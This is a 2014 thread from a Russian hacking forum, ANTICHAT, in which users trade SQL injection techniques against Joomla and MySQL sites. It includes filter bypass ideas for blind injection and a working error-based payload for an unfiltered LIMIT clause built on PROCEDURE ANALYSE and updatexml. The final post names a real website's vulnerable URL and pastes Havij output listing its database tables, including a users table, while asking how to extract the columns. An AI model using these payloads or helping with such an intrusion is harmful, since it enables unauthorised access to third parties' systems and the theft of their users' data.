ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
20.06.2014, 23:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Сообщение от qaz
qaz said:
никто не в курсе как через БД джомлы найти урл от сайта(кроме как искать сайт по контенту в БД), а то чёт ничего путёвого там ненахожу
Попробуй так:
Код:
Code:
SELECT name FROM #__menu LIMIT 0,1
|
|
|
|
20.06.2014, 23:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от int
int said:
Попробуй так:
Код:
Code:
SELECT name FROM #__menu LIMIT 0,1
не, там только титлы
|
|
|
|
20.06.2014, 23:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Сообщение от qaz
qaz said:
не, там только титлы
А в колонке link?
SELECT link FROM #__menu
|
|
|
|
21.06.2014, 15:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
При фильтрации скобок в boolean based blind sql injection есть вектора?
|
|
|
|
21.06.2014, 15:38
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от int
int said:
При фильтрации скобок в boolean based blind sql injection есть вектора?
Заготовок, которые можно подставить, нет. Раскрутить возможно.
Обычно используются конструкции с union select, where, regexp и case (blind sql-injection),.
|
|
|
21.06.2014, 21:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
182660
Репутация:
324
|
|
Сообщение от int
int said:
При фильтрации скобок в boolean based blind sql injection есть вектора?
Если имеются ввиду эти скобки <> то блайнд с полным перебором только можно воспроизвести
|
|
|
|
21.06.2014, 22:15
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от XAMEHA
XAMEHA said:
Заготовок, которые можно подставить, нет. Раскрутить возможно.
Обычно используются конструкции с union select, where, regexp и case (blind sql-injection),.
URL Encode и Double Url Encode забыл упомянуть.
|
|
|
|
22.06.2014, 00:12
|
|
Guest
Сообщений: n/a
Провел на форуме:
132418
Репутация:
652
|
|
Сообщение от int
int said:
Как раскрутить такое:
Код:
Code:
SELECT * FROM table WHERE ... ORDER by table.field LIMIT $limitstart, $limit
где $limitstart, $limit - не фильтруются. Новонайденный вектор:
Сообщение от None
SELECT * FROM table WHERE ... ORDER by table.field LIMIT $limitstart, $limit PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)))
|
|
|
|
22.06.2014, 02:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Сообщение от psihoz26
psihoz26 said:
Если имеются ввиду эти скобки <> то блайнд с полным перебором только можно воспроизвести
Имел ввиду круглые, а не знак больше/меньше.
BigBear, пробовал - не проходит.
Сообщение от YaBtr
YaBtr said:
Новонайденный вектор:
Спасибо!
Вдогонку спрошу: какие есть популярные WAF (или модули для joomla), которые режут все спец символы, но не трогают sql операторы. Хочу покопаться в исходниках.
|
|
|
|
22.06.2014, 21:24
|
|
Новичок
Регистрация: 15.03.2007
Сообщений: 20
Провел на форуме:
133734
Репутация:
19
|
|
Приветствую,
Помогите раскрутить иньекцию
Код:
Code:
http://sochi-h ome.com/objects/novostroyki.html?types=1
На странице две запроса с инъекцией, один видимо с использованием Count(*) поэтому подобрать кол=во полей пеполучается, но есть еще MySQL error based injection method
Через него из проги Havij получил ДБ и Таблицы
Код:
Code:
Current DB: urchenko_home
Table found: blocks
Table found: catalogcats
Table found: catalogitems
Table found: cats
Table found: content
Table found: forms
Table found: formsdata
Table found: formsfields
Table found: general
Table found: menu
Table found: menus
Table found: photos
Table found: photositems
Table found: poller
Table found: poller_option
Table found: poller_vote
Table found: ratings
Table found: responses
Table found: users
Но далее Havij идти не хочет и не выводит поля таблиц. |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
